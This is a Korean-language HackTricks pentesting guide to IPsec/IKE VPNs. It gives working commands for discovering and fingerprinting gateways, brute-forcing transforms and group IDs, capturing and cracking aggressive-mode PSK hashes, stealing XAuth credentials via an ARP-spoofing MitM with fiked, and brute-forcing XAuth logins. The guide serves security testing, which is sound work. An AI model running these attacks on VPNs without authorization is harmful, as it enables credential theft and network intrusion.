hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

20 KiB

500/udp - IPsec/IKE VPN Pentesting

AWS 해킹을 처음부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!

다른 HackTricks 지원 방법:

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


기본 정보

IPsec은 네트워크 간 통신 (LAN-to-LAN) 및 원격 사용자가 네트워크 게이트웨이에 연결하는 데 사용되는 주요 기술로 인식되며 기업 VPN 솔루션의 기반 역할을 합니다.

두 지점 간의 보안 연결 (SA) 설정은 IKE에 의해 관리되며, 이는 인증 및 키 교환을 위해 설계된 프로토콜인 ISAKMP의 범주에서 작동합니다. 이 프로세스는 여러 단계로 진행됩니다:

  • Phase 1: 두 지점 간에 안전한 채널이 생성됩니다. 이는 사전 공유 키 (PSK) 또는 인증서를 사용하여 main mode 또는 aggressive mode를 사용하여 세 쌍의 메시지를 포함하는 것으로 달성됩니다.
  • Phase 1.5: 필수는 아니지만, 이 단계는 확장 인증 단계로, 연결을 시도하는 사용자의 신원을 확인하기 위해 사용자 이름과 암호를 요구합니다.
  • Phase 2: 이 단계는 ESPAH로 데이터 보안 매개변수를 협상하는 데 전념합니다. **Perfect Forward Secrecy (PFS)**를 보장하기 위해 Phase 1과 다른 알고리즘을 사용할 수 있어 보안을 강화합니다.

기본 포트: 500/udp

nmap을 사용하여 서비스 발견하기

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

유효한 변환 찾기

IPSec 구성은 하나 또는 몇 가지 변환만 허용하도록 준비될 수 있습니다. 변환은 값들의 조합입니다. 각 변환에는 DES 또는 3DES와 같은 암호화 알고리즘, SHA 또는 MD5와 같은 무결성 알고리즘, 사전 공유 키와 같은 인증 유형, Diffie-Hellman 1 또는 2와 같은 키 분배 알고리즘, 그리고 28800초와 같은 수명이 포함됩니다.

그런 다음 해야 할 첫 번째 일은 유효한 변환을 찾는 것입니다. 이렇게 하면 서버가 당신과 통신할 수 있습니다. 이를 위해 ike-scan 도구를 사용할 수 있습니다. 기본적으로 Ike-scan은 메인 모드에서 작동하며, ISAKMP 헤더와 여덟 개의 변환을 포함한 단일 제안이 있는 패킷을 게이트웨이로 보냅니다.

응답에 따라 엔드포인트에 대한 일부 정보를 얻을 수 있습니다:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

이전 응답에서 볼 수 있듯이 AUTH라는 필드가 있고 값은 PSK입니다. 이는 VPN이 사전 공유 키를 사용하여 구성되어 있다는 것을 의미합니다 (이는 펜테스터에게 매우 유용합니다).
마지막 줄의 값 또한 매우 중요합니다:

  • 0 returned handshake; 0 returned notify: 이는 대상이 IPsec 게이트웨이가 아님을 의미합니다.
  • 1 returned handshake; 0 returned notify: 이는 대상이 IPsec로 구성되어 있고 IKE 협상을 수행할 의사가 있으며 제안한 변환 중 하나 이상이 허용되는 경우입니다 (유효한 변환은 출력에 표시됩니다).
  • 0 returned handshake; 1 returned notify: VPN 게이트웨이는 허용되는 변환 없을 때 알림 메시지로 응답합니다 (일부 게이트웨이는 그렇지 않을 수도 있으며, 이 경우 추가 분석 및 수정된 제안이 필요합니다).

따라서, 이 경우 이미 유효한 변환이 있지만 3번째 경우에 있다면, 유효한 변환을 찾기 위해 약간의 브루트 포스가 필요합니다:

먼저 모든 가능한 변환을 생성해야 합니다:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

그런 다음 ike-scan을 사용하여 각각 브루트 포스 공격을 수행합니다 (이 작업은 몇 분 정도 소요될 수 있습니다):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

만약 브루트 포스가 작동하지 않는다면, 서버가 유효한 변환에도 핸드셰이크 없이 응답하는 것일 수 있습니다. 그럴 때는 동일한 브루트 포스를 사용하되 공격적 모드를 사용해 볼 수 있습니다:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

희망적으로 유효한 변환이 다시 에코됩니다.
동일한 공격을 시도할 수 있습니다 iker.py를 사용하여.
또한 ikeforce를 사용하여 변환을 브루트 포스할 수도 있습니다:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

DH 그룹: 14 = 2048-bit MODP15 = 3072-bit
2 = HMAC-SHA = SHA1 (이 경우). --trans 형식은 $Enc,$Hash,$Auth,$DH

시스코는 DH 그룹 1과 2를 사용하지 말라고 지적합니다. 이 그룹들은 충분히 강력하지 않기 때문입니다. 전문가들은 자원이 많은 국가들이 이러한 약한 그룹을 사용하는 데이터의 암호화를 쉽게 해독할 수 있다고 믿습니다. 이는 이러한 강력한 국가들이 코드를 빠르게 해독할 수 있도록 준비하는 특별한 방법을 사용함으로써 이루어집니다. 이 방법을 설정하는 데 많은 비용이 소요되지만, 이를 통해 이러한 강력한 국가들이 암호화된 데이터를 실시간으로 읽을 수 있게 됩니다(그룹이 강력하지 않은 경우, 예: 1,024-bit 또는 그 이하).

서버 fingerprinting

그런 다음, ike-scan을 사용하여 장치의 벤더를 발견할 수 있습니다. 이 도구는 초기 제안을 보내고 다시 재생을 중지합니다. 그런 다음, 서버로부터 수신된 메시지와 일치하는 응답 패턴 사이의 시간 차이분석함으로써, 펜테스터는 VPN 게이트웨이 벤더를 성공적으로 fingerprinting할 수 있습니다. 더 나아가, 일부 VPN 서버는 IKE와 함께 선택적으로 Vendor ID (VID) 페이로드를 사용할 수 있습니다.

필요한 경우 유효한 변환을 지정하십시오(--trans 사용)

IKE가 벤더를 발견하면 이를 출력합니다:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

이 작업은 nmap 스크립트 _ike-version_을 사용하여 수행할 수도 있습니다.

올바른 ID(그룹 이름) 찾기

해시를 캡처할 수 있도록 허용받으려면 적극적 모드를 지원하고 올바른 ID(그룹 이름)를 가져야 합니다. 올바른 그룹 이름을 알지 못할 가능성이 높기 때문에 브루트 포스해야 합니다.
이를 위해 2가지 방법을 권장합니다:

ike-scan을 사용한 ID 브루트 포싱

먼저 해시를 수집하려는 가짜 ID로 요청을 시도해 보세요 ("-P"):

ike-scan -P -M -A -n fakeID <IP>

만약 해시가 반환되지 않는다면, 그 때 브루트 포싱 방법이 작동할 것입니다. 만약 어떤 해시가 반환된다면, 이는 가짜 ID에 대해 가짜 해시가 다시 전송될 것이므로 이 방법은 ID를 브루트 포싱하는 데 신뢰할 수 없게 될 것입니다. 예를 들어, 가짜 해시가 반환될 수 있습니다 (이는 최신 버전에서 발생합니다):

하지만 제가 말한대로, 해시가 반환되지 않는다면, ike-scan을 사용하여 일반 그룹 이름을 브루트 포싱해 보아야 합니다.

이 스크립트는 가능한 ID를 브루트 포싱하려고 시도하고 유효한 핸드셰이크가 반환된 ID를 반환할 것입니다 (이는 유효한 그룹 이름일 것입니다).

특정 변환을 발견했다면 ike-scan 명령에 추가하십시오. 그리고 여러 변환을 발견했다면 모두 시도해 보기 위해 새로운 루프를 추가하십시오 (하나가 올바르게 작동할 때까지 모두 시도해야 합니다).

ikeforce의 사전 또는 seclists의 사전을 사용하여 일반 그룹 이름을 브루트 포싱할 수 있습니다:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Iker를 사용하여 ID 무차별 대입

iker.py은 가능한 그룹 이름을 무차별 대입하기 위해 ike-scan을 사용합니다. ike-scan의 출력을 기반으로 유효한 ID를 찾는 자체 방법을 따릅니다.

ikeforce를 사용하여 ID 무차별 대입

ikeforce.py는 또한 ID를 무차별 대입하는 데 사용할 수 있는 도구입니다. 이 도구는 다양한 취약점을 악용하려고 시도할 것입니다. 이는 유효한 ID와 유효하지 않은 ID를 구분하는 데 사용될 수 있는 다양한 취약점을 시도할 것입니다 (가짜 양성 및 가짜 음성이 발생할 수 있으므로 가능한 경우 ike-scan 방법을 사용하는 것을 선호합니다).

기본적으로 ikeforce는 서버의 동작을 확인하고 사용할 전략을 결정하기 위해 처음에 일부 무작위 ID를 보냅니다.

  • 첫 번째 방법은 Cisco 시스템의 Dead Peer Detection DPD 정보를 찾아 그룹 이름을 무차별 대입하는 것입니다 (이 정보는 그룹 이름이 올바른 경우에만 서버에서 재생됩니다).
  • 사용 가능한 두 번째 방법은 각 시도에 보낸 응답 수를 확인하는 것입니다. 때로는 올바른 ID를 사용할 때 더 많은 패킷이 전송됩니다.
  • 세 번째 방법잘못된 ID에 대한 응답에서 "INVALID-ID-INFORMATION"을 찾는 것입니다.
  • 마지막으로, 서버가 확인을 위해 아무것도 응답하지 않는 경우, ikeforce는 서버를 무차별 대입하고 올바른 ID가 전송될 때 서버가 패킷을 재생하는지 확인할 것입니다.
    명백히, ID를 무차별 대입하는 목표는 유효한 ID가 있는 경우 PSK를 얻는 것입니다. 그런 다음 idPSK를 사용하여 XAUTH를 무차별 대입해야 합니다.

특정 변환을 발견했다면 ikeforce 명령에 추가하십시오. 여러 변환을 발견했다면 모두 시도하기 위해 새 루프를 추가하십시오 (하나가 올바르게 작동할 때까지 모두 시도해야 합니다).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

ID 스니핑

(책 네트워크 보안 평가: 네트워크 파악하기에서): VPN 클라이언트와 서버 간 연결을 스니핑하여 클라이언트 ID를 포함하는 첫 번째 공격적 모드 패킷을 평문으로 얻을 수도 있습니다.

해시 캡처 및 크래킹

마지막으로, 유효한 변환그룹 이름을 찾았으며 공격적 모드가 허용된 경우, 쉽게 크래킹할 수 있는 해시를 캡처할 수 있습니다:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

해시는 hash.txt 파일 내에 저장됩니다.

해시를 크랙하기 위해 psk-crack, john (ikescan2john.py를 사용하여) 및 hashcat을 사용할 수 있습니다:

psk-crack -d <Wordlist_path> psk.txt

XAuth

공격적 모드 IKE는 일반적으로 사용자 그룹 인증을 위해 **사전 공유 키 (PSK)**와 결합됩니다. 이 방법은 **확장 인증(XAuth)**에 의해 보완되며, 이는 추가적인 사용자 인증 계층을 도입합니다. 이러한 인증은 일반적으로 Microsoft Active Directory, RADIUS 또는 유사한 시스템과 같은 서비스를 활용합니다.

IKEv2로 전환하면 **EAP (확장 가능 인증 프로토콜)**이 XAuth 대신 사용자를 인증하는 데 사용되는 것을 볼 수 있습니다. 이 변경은 안전한 통신 프로토콜 내에서 인증 방법의 진화를 강조합니다.

로컬 네트워크 MitM을 사용하여 자격 증명 캡처

따라서 _fiked_를 사용하여 로그인 데이터를 캡처하고 기본 사용자 이름이 있는지 확인할 수 있습니다 (스니핑을 위해 IKE 트래픽을 fiked로 리디렉션해야 하며, 이는 ARP 스푸핑을 통해 수행할 수 있습니다, 자세한 정보). Fiked는 VPN 엔드포인트로 작동하며 XAuth 자격 증명을 캡처할 것입니다:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

IPSec를 사용하여 MitM 공격을 시도하고 포트 500으로의 모든 트래픽을 차단해보세요. IPSec 터널을 설정할 수 없다면 트래픽이 평문으로 전송될 수 있습니다.

ikeforce를 사용하여 XAUTH 사용자 이름과 암호 무차별 대입 공격

XAUTH를 무차별 대입 공격하기 위해 (유효한 그룹 이름 idpsk를 알고 있는 경우) 사용자 이름 또는 사용자 이름 목록과 암호 목록을 사용할 수 있습니다:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

이 방법으로, ikeforce는 각 username:password 조합을 사용하여 연결을 시도할 것입니다.

하나 이상의 유효한 변환을 찾았다면, 이전 단계와 같이 사용하십시오.

IPSEC VPN으로의 인증

Kali에서 VPNC는 IPsec 터널을 설정하는 데 사용됩니다. 프로필/etc/vpnc/ 디렉토리에 위치해야 합니다. 이러한 프로필은 vpnc 명령을 사용하여 시작할 수 있습니다.

다음 명령어와 구성은 VPNC를 사용하여 VPN 연결을 설정하는 과정을 설명합니다:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

이 설정에서:

  • [VPN_GATEWAY_IP]를 VPN 게이트웨이의 실제 IP 주소로 대체합니다.
  • [VPN_CONNECTION_ID]를 VPN 연결의 식별자로 대체합니다.
  • [VPN_GROUP_SECRET]를 VPN 그룹 비밀로 대체합니다.
  • [VPN_USERNAME][VPN_PASSWORD]를 VPN 인증 자격 증명으로 대체합니다.
  • vpnc가 시작될 때 할당되는 프로세스 ID를 나타내는 [PID]를 대체합니다.

VPN 구성 시 플레이스홀더를 실제 안전한 값으로 대체하는 것을 확인하십시오.

참고 자료

Shodan

  • port:500 IKE

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법: